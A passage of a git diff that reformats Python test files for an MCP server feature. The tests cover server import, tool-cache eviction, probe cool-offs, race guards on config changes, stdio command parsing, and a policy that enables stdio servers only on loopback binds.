routes_mcp.import_mcp_servers(McpServerImportRequest(config = cfg), current_subject = "u") + routes_mcp.import_mcp_servers( + McpServerImportRequest(config = cfg), current_subject = "u" + ) ) assert res2.created == [] assert set(res2.skipped) == {"fs", "remote", "oauth", "disabled"} @@ -333,7 +355,9 @@ def test_import_route_gates_stdio_when_disabled(tmp_path, monkeypatch): } } res = asyncio.run( - routes_mcp.import_mcp_servers(McpServerImportRequest(config = cfg), current_subject = "u") + routes_mcp.import_mcp_servers( + McpServerImportRequest(config = cfg), current_subject = "u" + ) ) # Remote still imports; the stdio entry is rejected per-entry (gate off). assert {c.display_name for c in res.created} == {"remote"} diff --git a/studio/backend/tests/test_mcp_flatten_result.py b/studio/backend/tests/test_mcp_flatten_result.py index 7daee799f9..7332f18b64 100644 --- a/studio/backend/tests/test_mcp_flatten_result.py +++ b/studio/backend/tests/test_mcp_flatten_result.py @@ -67,7 +67,10 @@ def test_multiple_images_pluralized(): flat = _flatten_result(_result(_image(), _image(mime = "image/jpeg"))) body, payload = flat.split("\n" + MCP_IMAGES_SENTINEL, 1) assert "[2 images attached; displayed to the user]" in body - assert [img["mimeType"] for img in json.loads(payload)] == ["image/png", "image/jpeg"] + assert [img["mimeType"] for img in json.loads(payload)] == [ + "image/png", + "image/jpeg", + ] def test_strip_result_for_model_drops_image_payload(): diff --git a/studio/backend/tests/test_mcp_server.py b/studio/backend/tests/test_mcp_server.py index 71792605ae..a9d2c64076 100644 --- a/studio/backend/tests/test_mcp_server.py +++ b/studio/backend/tests/test_mcp_server.py @@ -262,7 +262,9 @@ def test_list_training_runs_clamps_pagination(monkeypatch): return {"ok": True} _stub_module(monkeypatch, "routes") - _stub_module(monkeypatch, "routes.training_history", list_training_runs = fake_list_runs) + _stub_module( + monkeypatch, "routes.training_history", list_training_runs = fake_list_runs + ) tool = _get_tool("list_training_runs") asyncio.run(tool.fn(limit = 10_000, offset = -5)) diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py index c5c37f098f..11214f157f 100644 --- a/studio/backend/tests/test_mcp_servers.py +++ b/studio/backend/tests/test_mcp_servers.py @@ -45,7 +45,9 @@ def test_list_servers_ordered_by_created_at(tmp_path, monkeypatch): def test_update_server_coerces_bools(tmp_path, monkeypatch): _reset_db(tmp_path, monkeypatch) mcp_servers_db.create_server(id = "srv1", display_name = "A", url = "https://a/m") - assert mcp_servers_db.update_server("srv1", {"is_enabled": False, "use_oauth": True}) + assert mcp_servers_db.update_server( + "srv1", {"is_enabled": False, "use_oauth": True} + ) row = mcp_servers_db.get_server("srv1") assert row["is_enabled"] == 0 assert row["use_oauth"] == 1 @@ -87,7 +89,9 @@ def test_validate_url_rejects_bad(bad): def test_normalize_headers(): from routes.mcp_servers import _normalize_headers - assert _normalize_headers({" Auth ": "Bearer x", "": "ignored"}) == {"Auth": "Bearer x"} + assert _normalize_headers({" Auth ": "Bearer x", "": "ignored"}) == { + "Auth": "Bearer x" + } assert _normalize_headers({"X": 42}) == {"X": "42"} assert _normalize_headers({}) is None assert _normalize_headers(None) is None @@ -99,12 +103,15 @@ def test_changes_from_payload_tristate_headers(): from models.mcp_servers import McpServerUpdate # omitted → key absent - assert "headers_json" not in _changes_from_payload(McpServerUpdate(display_name = "x")) + assert "headers_json" not in _changes_from_payload( + McpServerUpdate(display_name = "x") + ) # null → stored as None (clear all headers) assert _changes_from_payload(McpServerUpdate(headers = None))["headers_json"] is None # dict → serialised JSON assert ( - _changes_from_payload(McpServerUpdate(headers = {"a": "1"}))["headers_json"] == '{"a": "1"}' + _changes_from_payload(McpServerUpdate(headers = {"a": "1"}))["headers_json"] + == '{"a": "1"}' ) @@ -134,7 +141,10 @@ def test_execute_tool_malformed_mcp_name(): def test_execute_tool_unknown_server(tmp_path, monkeypatch): _reset_db(tmp_path, monkeypatch) from core.inference.tools import execute_tool - assert execute_tool("mcp__missing__do_thing", {}) == "Error: MCP server 'missing' not found" + assert ( + execute_tool("mcp__missing__do_thing", {}) + == "Error: MCP server 'missing' not found" + ) def test_execute_tool_disabled_server(tmp_path, monkeypatch): @@ -147,7 +157,10 @@ def test_execute_tool_disabled_server(tmp_path, monkeypatch): ) from core.inference.tools import execute_tool - assert execute_tool("mcp__srv1__do_thing", {}) == "Error: MCP server 'srv1' is disabled" + assert ( + execute_tool("mcp__srv1__do_thing", {}) + == "Error: MCP server 'srv1' is disabled" + ) def test_mcp_specs_skip_invalid_openai_function_names(): @@ -439,7 +452,10 @@ def test_tool_healing_strip_handles_gemma_native_tool_call(): def test_tool_healing_strip_handles_gemma_close_only_marker(): from core.tool_healing import strip_tool_call_markup assert strip_tool_call_markup("before after") == "before after" - assert strip_tool_call_markup("before after", final = True) == "before after" + assert ( + strip_tool_call_markup("before after", final = True) + == "before after" + ) def test_tool_healing_parser_handles_gemma_native_windows_path(): @@ -451,7 +467,9 @@ def test_tool_healing_parser_handles_gemma_native_windows_path(): ) assert len(calls) == 1 assert calls[0]["function"]["name"] == "ls" - assert _json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"} + assert _json.loads(calls[0]["function"]["arguments"]) == { + "path": r"C:\Users\wasim\repo" + } def test_tool_healing_json_parser_preserves_literal_gemma_quote_token(): @@ -668,7 +686,9 @@ def test_get_enabled_mcp_tools_caches_discovery(tmp_path, monkeypatch): from core.inference import tools as tools_mod monkeypatch.setattr(mcp_client, "_tool_cache", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) calls: list[str] = [] @@ -701,7 +721,9 @@ def test_get_enabled_mcp_tools_does_not_cache_failures(tmp_path, monkeypatch): monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) attempts = {"n": 0} @@ -736,7 +758,9 @@ def test_refresh_warms_tool_cache(tmp_path, monkeypatch): import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) async def fake_refresh( url, @@ -768,7 +792,9 @@ def test_update_url_evicts_tool_cache(tmp_path, monkeypatch): import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": _one_tool("stale")}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True + ) asyncio.run( routes_mcp.update_mcp_server( @@ -789,10 +815,14 @@ def test_update_display_name_keeps_tool_cache(tmp_path, monkeypatch): cached = _one_tool() monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": cached}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) asyncio.run( - routes_mcp.update_mcp_server("s1", McpServerUpdate(display_name = "B"), current_subject = "u") + routes_mcp.update_mcp_server( + "s1", McpServerUpdate(display_name = "B"), current_subject = "u" + ) ) assert mcp_client.get_cached_tools("s1") == cached @@ -810,7 +840,9 @@ def test_update_rename_keeps_stdio_session(tmp_path, monkeypatch): closed: list = [] monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True) - monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a)) + monkeypatch.setattr( + routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a) + ) mcp_servers_db.create_server( id = "s1", display_name = "A", @@ -844,7 +876,9 @@ def test_update_stdio_command_change_closes_session(tmp_path, monkeypatch): closed: list = [] monkeypatch.setattr(routes_mcp, "stdio_mcp_enabled", lambda: True) - monkeypatch.setattr(routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a)) + monkeypatch.setattr( + routes_mcp, "close_stdio_sessions", lambda *a, **k: closed.append(a) + ) mcp_servers_db.create_server( id = "s1", display_name = "A", @@ -869,10 +903,14 @@ def test_update_disable_evicts_tool_cache(tmp_path, monkeypatch): import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": _one_tool()}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) asyncio.run( - routes_mcp.update_mcp_server("s1", McpServerUpdate(is_enabled = False), current_subject = "u") + routes_mcp.update_mcp_server( + "s1", McpServerUpdate(is_enabled = False), current_subject = "u" + ) ) assert mcp_client.get_cached_tools("s1") is None @@ -886,7 +924,9 @@ def test_delete_evicts_tool_cache(tmp_path, monkeypatch): import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": _one_tool()}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) asyncio.run(routes_mcp.delete_mcp_server("s1", current_subject = "u")) assert mcp_client.get_cached_tools("s1") is None @@ -909,8 +949,12 @@ def test_get_enabled_mcp_tools_probes_only_uncached(tmp_path, monkeypatch): from core.inference import tools as tools_mod monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": _one_tool("cached")}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://a/mcp", is_enabled = True) - mcp_servers_db.create_server(id = "s2", display_name = "B", url = "https://b/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://a/mcp", is_enabled = True + ) + mcp_servers_db.create_server( + id = "s2", display_name = "B", url = "https://b/mcp", is_enabled = True + ) probed: list[str] = [] @@ -927,7 +971,10 @@ def test_get_enabled_mcp_tools_probes_only_uncached(tmp_path, monkeypatch): specs = asyncio.run(tools_mod.get_enabled_mcp_tools()) assert probed == ["https://b/mcp"] # only the uncached server is probed - assert sorted(t["function"]["name"] for t in specs) == ["mcp__s1__cached", "mcp__s2__fresh"] + assert sorted(t["function"]["name"] for t in specs) == [ + "mcp__s1__cached", + "mcp__s2__fresh", + ] def test_get_enabled_mcp_tools_partial_failure_caches_healthy(tmp_path, monkeypatch): @@ -940,8 +987,12 @@ def test_get_enabled_mcp_tools_partial_failure_caches_healthy(tmp_path, monkeypa monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://bad/mcp", is_enabled = True) - mcp_servers_db.create_server(id = "s2", display_name = "B", url = "https://good/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://bad/mcp", is_enabled = True + ) + mcp_servers_db.create_server( + id = "s2", display_name = "B", url = "https://good/mcp", is_enabled = True + ) async def fake( url, @@ -970,7 +1021,9 @@ def test_get_enabled_mcp_tools_caches_empty_tool_list(tmp_path, monkeypatch): from core.inference import tools as tools_mod monkeypatch.setattr(mcp_client, "_tool_cache", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) calls: list[str] = [] @@ -1001,7 +1054,9 @@ def test_update_headers_evicts_tool_cache(tmp_path, monkeypatch): import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {"s1": _one_tool()}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) asyncio.run( routes_mcp.update_mcp_server( @@ -1013,7 +1068,9 @@ def test_update_headers_evicts_tool_cache(tmp_path, monkeypatch): assert mcp_client.get_cached_tools("s1") is None -def test_get_enabled_mcp_tools_skips_cache_when_config_changes_mid_probe(tmp_path, monkeypatch): +def test_get_enabled_mcp_tools_skips_cache_when_config_changes_mid_probe( + tmp_path, monkeypatch +): """A config edit landing during an in-flight probe must not be clobbered by the now-stale probe result (TOCTOU on the cache write).""" import asyncio @@ -1023,7 +1080,9 @@ def test_get_enabled_mcp_tools_skips_cache_when_config_changes_mid_probe(tmp_pat from core.inference import tools as tools_mod monkeypatch.setattr(mcp_client, "_tool_cache", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True + ) async def fake( url, @@ -1056,7 +1115,9 @@ def test_get_enabled_mcp_tools_no_cooloff_when_config_changes_mid_failed_probe( monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True + ) async def fake( url, @@ -1088,7 +1149,9 @@ def test_get_enabled_mcp_tools_no_cooloff_when_server_deleted_mid_failed_probe( monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) async def fake( url, @@ -1105,7 +1168,9 @@ def test_get_enabled_mcp_tools_no_cooloff_when_server_deleted_mid_failed_probe( assert "s1" not in mcp_client._probe_cooloff_until # no orphan cool-off -def test_get_enabled_mcp_tools_skips_failed_server_during_cooloff(tmp_path, monkeypatch): +def test_get_enabled_mcp_tools_skips_failed_server_during_cooloff( + tmp_path, monkeypatch +): """A down server is probed once, then skipped during the cool-off instead of being re-probed (and re-hung) on every send.""" import asyncio @@ -1116,7 +1181,9 @@ def test_get_enabled_mcp_tools_skips_failed_server_during_cooloff(tmp_path, monk monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) attempts = {"n": 0} @@ -1157,7 +1224,10 @@ def test_oauth_failure_cools_off_longer_than_plain(monkeypatch): monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) mcp_client.record_probe_failure("plain", use_oauth = False) mcp_client.record_probe_failure("oauth", use_oauth = True) - assert mcp_client._probe_cooloff_until["oauth"] > mcp_client._probe_cooloff_until["plain"] + assert ( + mcp_client._probe_cooloff_until["oauth"] + > mcp_client._probe_cooloff_until["plain"] + ) def test_invalidate_clears_failure_cooloff(monkeypatch): @@ -1184,7 +1254,9 @@ def test_refresh_failure_records_cooloff(tmp_path, monkeypatch): monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) async def boom( url, @@ -1210,7 +1282,9 @@ def test_refresh_drops_result_when_config_changes_mid_probe(tmp_path, monkeypatc import routes.mcp_servers as routes_mcp monkeypatch.setattr(mcp_client, "_tool_cache", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True + ) async def fake_refresh( url, @@ -1227,7 +1301,9 @@ def test_refresh_drops_result_when_config_changes_mid_probe(tmp_path, monkeypatc assert mcp_client.get_cached_tools("s1") is None -def test_refresh_failure_no_cooloff_when_config_changes_mid_probe(tmp_path, monkeypatch): +def test_refresh_failure_no_cooloff_when_config_changes_mid_probe( + tmp_path, monkeypatch +): """A manual refresh failure for an old config must not cool off the freshly edited server.""" import asyncio @@ -1238,7 +1314,9 @@ def test_refresh_failure_no_cooloff_when_config_changes_mid_probe(tmp_path, monk monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://old/mcp", is_enabled = True + ) async def boom( url, @@ -1255,7 +1333,9 @@ def test_refresh_failure_no_cooloff_when_config_changes_mid_probe(tmp_path, monk assert not mcp_client.in_failure_cooloff("s1") -def test_get_enabled_mcp_tools_drops_result_when_server_deleted_mid_probe(tmp_path, monkeypatch): +def test_get_enabled_mcp_tools_drops_result_when_server_deleted_mid_probe( + tmp_path, monkeypatch +): """A delete landing while a probe is in flight must drop the now-orphan result -- the `fresh is None` arm of the mid-probe TOCTOU guard. The result is neither served nor cached under the since-removed id.""" @@ -1267,7 +1347,9 @@ def test_get_enabled_mcp_tools_drops_result_when_server_deleted_mid_probe(tmp_pa monkeypatch.setattr(mcp_client, "_tool_cache", {}) monkeypatch.setattr(mcp_client, "_probe_cooloff_until", {}) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://x/mcp", is_enabled = True + ) async def fake( url, diff --git a/studio/backend/tests/test_mcp_stdio_improvements.py b/studio/backend/tests/test_mcp_stdio_improvements.py index 745c2cc447..03e55c7cef 100644 --- a/studio/backend/tests/test_mcp_stdio_improvements.py +++ b/studio/backend/tests/test_mcp_stdio_improvements.py @@ -62,7 +62,9 @@ def test_create_forces_oauth_off_for_stdio(tmp_path, monkeypatch): _enable(monkeypatch) resp = asyncio.run( routes_mcp.create_mcp_server( - McpServerCreate(display_name = "FS", url = "npx -y server /tmp", use_oauth = True), + McpServerCreate( + display_name = "FS", url = "npx -y server /tmp", use_oauth = True + ), current_subject = "u", ) ) @@ -92,8 +94,12 @@ def test_update_url_to_stdio_clears_oauth(tmp_path, monkeypatch): _reset_db(tmp_path, monkeypatch) _enable(monkeypatch) monkeypatch.setattr(mcp_client, "_oauth_token_store", None) - monkeypatch.setattr(routes_mcp, "clear_oauth_tokens_async", lambda *a, **k: asyncio.sleep(0)) - mcp_servers_db.create_server(id = "s1", display_name = "A", url = "https://a/mcp", use_oauth = True) + monkeypatch.setattr( + routes_mcp, "clear_oauth_tokens_async", lambda *a, **k: asyncio.sleep(0) + ) + mcp_servers_db.create_server( + id = "s1", display_name = "A", url = "https://a/mcp", use_oauth = True + ) resp = asyncio.run( routes_mcp.update_mcp_server( "s1", McpServerUpdate(url = "npx -y server /tmp"), current_subject = "u" @@ -142,7 +148,9 @@ def test_switch_keeps_explicitly_supplied_headers(tmp_path, monkeypatch): resp = asyncio.run( routes_mcp.update_mcp_server( "s1", - McpServerUpdate(url = "https://remote/mcp", headers = {"Authorization": "Bearer new"}), + McpServerUpdate( + url = "https://remote/mcp", headers = {"Authorization": "Bearer new"} + ), current_subject = "u", ) ) @@ -163,7 +171,9 @@ def test_same_transport_edit_keeps_headers(tmp_path, monkeypatch): ) # editing only the display name (still stdio) must keep env vars resp = asyncio.run( - routes_mcp.update_mcp_server("s1", McpServerUpdate(display_name = "B"), current_subject = "u") + routes_mcp.update_mcp_server( + "s1", McpServerUpdate(display_name = "B"), current_subject = "u" + ) ) assert resp.headers == {"API_KEY": "secret"} @@ -184,7 +194,9 @@ def test_validate_url_allows_url_in_argument(monkeypatch): from routes.mcp_servers import _validate_url _enable(monkeypatch) # :// inside an ARGUMENT (not the first token) is a valid command - assert _validate_url("npx server --url https://x/mcp") == ("npx server --url https://x/mcp") + assert _validate_url("npx server --url https://x/mcp") == ( + "npx server --url https://x/mcp" + ) # ── P6: Data Recipe stdio path obeys the same host gate ───────────── diff --git a/studio/backend/tests/test_mcp_stdio_pr5863.py b/studio/backend/tests/test_mcp_stdio_pr5863.py index 1cb1211cf2..1c7dd3d09f 100644 --- a/studio/backend/tests/test_mcp_stdio_pr5863.py +++ b/studio/backend/tests/test_mcp_stdio_pr5863.py @@ -110,7 +110,9 @@ def transport(monkeypatch): monkeypatch.setattr( mcp_client, "_client", - lambda url, headers, use_oauth = False: _RecordingClient(url, headers, use_oauth, recorder), + lambda url, headers, use_oauth = False: _RecordingClient( + url, headers, use_oauth, recorder + ), ) return recorder @@ -155,7 +157,9 @@ def test_parse_basic_argv(): def test_parse_keeps_url_argument_as_one_command(): # gemini "high": a :// inside an ARGUMENT must not break the command. - assert mcp_client.parse_stdio_command("npx server --endpoint https://example.com/mcp") == [ + assert mcp_client.parse_stdio_command( + "npx server --endpoint https://example.com/mcp" + ) == [ "npx", "server", "--endpoint", @@ -186,7 +190,9 @@ def test_parse_windows_strips_wrapping_quotes(monkeypatch): # gemini "medium": posix=False keeps backslash paths but also the # wrapping quotes; the PR strips a matched pair so argv[0] is clean. monkeypatch.setattr(sys, "platform", "win32") - parts = mcp_client.parse_stdio_command(r'"C:\Program Files\node\node.exe" server.js') + parts = mcp_client.parse_stdio_command( + r'"C:\Program Files\node\node.exe" server.js' + ) assert parts[0] == r"C:\Program Files\node\node.exe" assert parts[1] == "server.js" @@ -217,7 +223,9 @@ def test_is_external_host_false_for_loopback(host): # 127.0.0.2 is loopback in principle, but the rest of the stack hard-codes # 127.0.0.1, so only the exact aliases count as local here. -@pytest.mark.parametrize("host", ["0.0.0.0", "::", "127.0.0.2", "192.168.1.10", "example.com"]) +@pytest.mark.parametrize( + "host", ["0.0.0.0", "::", "127.0.0.2", "192.168.1.10", "example.com"] +) def test_is_external_host_true_for_network(host): assert host_policy.is_external_host(host) is True @@ -229,7 +237,9 @@ def test_loopback_bind_enables_stdio(monkeypatch, host): assert mcp_client.stdio_mcp_enabled() is True -@pytest.mark.parametrize("host", ["0.0.0.0", "::", "127.0.0.2", "192.168.1.10", "example.com"]) +@pytest.mark.parametrize( + "host", ["0.0.0.0", "::", "127.0.0.2", "192.168.1.10", "example.com"] +) def test_network_bind_leaves_stdio_off(monkeypatch, host): _disable(monkeypatch) host_policy.apply_stdio_mcp_loopback_default(host) @@ -328,7 +338,9 @@ def test_explicit_env_opt_in_beats_disable_tools_on_loopback(monkeypatch): from state import tool_policy monkeypatch.setenv("UNSLOTH_STUDIO_ALLOW_STDIO_MCP", "1") - host_policy.apply_stdio_mcp_loopback_default("127.0.0.1") # no-op: value is explicit + host_policy.apply_stdio_mcp_loopback_default( + "127.0.0.1" + ) # no-op: value is explicit tool_policy.set_tool_policy(False) assert mcp_client.stdio_mcp_enabled() is True @@ -407,10 +419,14 @@ def test_validate_url_gate_on_accepts_stdio(monkeypatch): # http still works when stdio is on assert _validate_url("https://x/mcp") == "https://x/mcp" # url-bearing argument accepted as a command - assert _validate_url("npx server --url https://x/mcp") == ("npx server --url https://x/mcp") + assert _validate_url("npx server --url https://x/mcp") == ( + "npx server --url https://x/mcp" + ) # A lone token is ambiguous; accept it as a command rather than # guessing it's a URL (no regression for single binaries). - assert _validate_url("/usr/local/bin/my-mcp-server") == "/usr/local/bin/my-mcp-server" + assert ( + _validate_url("/usr/local/bin/my-mcp-server") == "/usr/local/bin/my-mcp-server" + ) assert _validate_url("mcp-server-sqlite") == "mcp-server-sqlite" # empty / unparseable still rejected for bad in [" ", '"unclosed']: @@ -497,7 +513,9 @@ def test_refresh_route_gate(tmp_path, monkeypatch, transport): assert transport == [] _enable(monkeypatch) - res = asyncio.run(routes_mcp.refresh_mcp_server_tools("stdio1", current_subject = "u")) + res = asyncio.run( + routes_mcp.refresh_mcp_server_tools("stdio1", current_subject = "u") + ) assert res.ok and res.tool_count == 2 assert len(transport) == 1 @@ -508,7 +526,9 @@ def test_discovery_gate(tmp_path, monkeypatch, transport): from core.inference.tools import get_enabled_mcp_tools _reset_db(tmp_path, monkeypatch) - mcp_servers_db.create_server(id = "stdio1", display_name = "FS", url = "npx server", is_enabled = True) + mcp_servers_db.create_server( + id = "stdio1", display_name = "FS", url = "npx server", is_enabled = True + ) _disable(monkeypatch) assert asyncio.run(get_enabled_mcp_tools()) == [] @@ -524,7 +544,9 @@ def test_execute_gate(tmp_path, monkeypatch, transport): from core.inference.tools import execute_tool _reset_db(tmp_path, monkeypatch) - mcp_servers_db.create_server(id = "stdio1", display_name = "FS", url = "npx server", is_enabled = True) + mcp_servers_db.create_server( + id = "stdio1", display_name = "FS", url = "npx server", is_enabled = True + ) _disable(monkeypatch) out = execute_tool("mcp__stdio1__list_directory", {"path": "/tmp"}) diff --git a/studio/backend/tests/test_mcp_stdio_sessions.py b/studio/backend/tests/test_mcp_stdio_sessions.py index d714d9d640..a9b98bd749 100644 --- a/studio/backend/tests/test_mcp_stdio_sessions.py +++ b/studio/backend/tests/test_mcp_stdio_sessions.py @@ -128,7 +128,9 @@ def test_tool_error_does_not_recycle_session(fake_clients, monkeypatch): monkeypatch.setattr( mcp_client, "_client", lambda url, headers, use_oauth = False: ToolFailure(url) ) - assert call_tool_sync(STDIO_URL, None, "boom", {}, scope = "chat").startswith("Error: MCP tool") + assert call_tool_sync(STDIO_URL, None, "boom", {}, scope = "chat").startswith( + "Error: MCP tool" + ) assert call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") == "call-1" assert len(fake_clients) == 1 @@ -164,7 +166,10 @@ def test_no_timeout_allows_long_call(fake_clients): call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") fake_clients[0].call_delay = 0.2 # timeout=None means no deadline: the call must not be treated as wedged. - assert call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat") == "call-2" + assert ( + call_tool_sync(STDIO_URL, None, "slow", {}, timeout = None, scope = "chat") + == "call-2" + ) def test_connect_races_cancel_event(fake_clients, monkeypatch): @@ -173,7 +178,9 @@ def test_connect_races_cancel_event(fake_clients, monkeypatch): await asyncio.sleep(5.0) return await super().__aenter__() - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url)) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url) + ) ev = threading.Event() threading.Timer(0.1, ev.set).start() start = time.monotonic() @@ -189,7 +196,9 @@ def test_connect_respects_caller_timeout(fake_clients, monkeypatch): await asyncio.sleep(5.0) return await super().__aenter__() - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url)) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url) + ) start = time.monotonic() out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.2) assert "timed out" in out @@ -219,8 +228,12 @@ def test_key_lock_wait_honors_cancel_and_timeout(fake_clients, monkeypatch): await asyncio.sleep(1.5) return await super().__aenter__() - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url)) - first = threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url) + ) + first = threading.Thread( + target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") + ) first.start() key = mcp_client._session_key(STDIO_URL, None, "chat") deadline = time.monotonic() + 5.0 @@ -287,10 +300,14 @@ def test_close_during_connect_is_not_cached(fake_clients, monkeypatch): await asyncio.sleep(0.5) return await super().__aenter__() - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url)) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: SlowStart(url) + ) results: list[str] = [] worker = threading.Thread( - target = lambda: results.append(call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")) + target = lambda: results.append( + call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") + ) ) worker.start() deadline = time.monotonic() + 5.0 @@ -314,7 +331,9 @@ def test_connect_abort_race_still_closes_client(fake_clients, monkeypatch): pass # connect finishes just as the abort lands return await super().__aenter__() - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: WinsRace(url)) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: WinsRace(url) + ) out = call_tool_sync(STDIO_URL, None, "t", {}, timeout = 0.1) assert "timed out" in out assert fake_clients[0].entered == 1 @@ -413,14 +432,19 @@ def test_error_on_closed_session_does_not_retry(fake_clients): fake_clients[0].fail_next = True session.closed.set() out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") - assert out == "Error: MCP tool 't' failed: MCP server was updated or removed during the call" + assert ( + out + == "Error: MCP tool 't' failed: MCP server was updated or removed during the call" + ) assert len(fake_clients) == 1 # no respawn for the removed config def test_config_check_blocks_stale_publish(fake_clients): # Simulates a caller that read the server row before an update/delete: # the row re-check runs after connect and must block caching. - out = call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat", config_check = lambda: False) + out = call_tool_sync( + STDIO_URL, None, "t", {}, scope = "chat", config_check = lambda: False + ) assert out.startswith("Error: MCP tool 't' failed") assert mcp_client._stdio_sessions == {} assert fake_clients[0].exited == 1 @@ -430,10 +454,15 @@ def test_close_generation_keys_hold_no_secrets(fake_clients): secret_url = "npx server --token sk-url-secret" close_stdio_sessions(secret_url, {"API_KEY": "sk-env-secret"}) close_stdio_sessions(secret_url) - gen_keys = 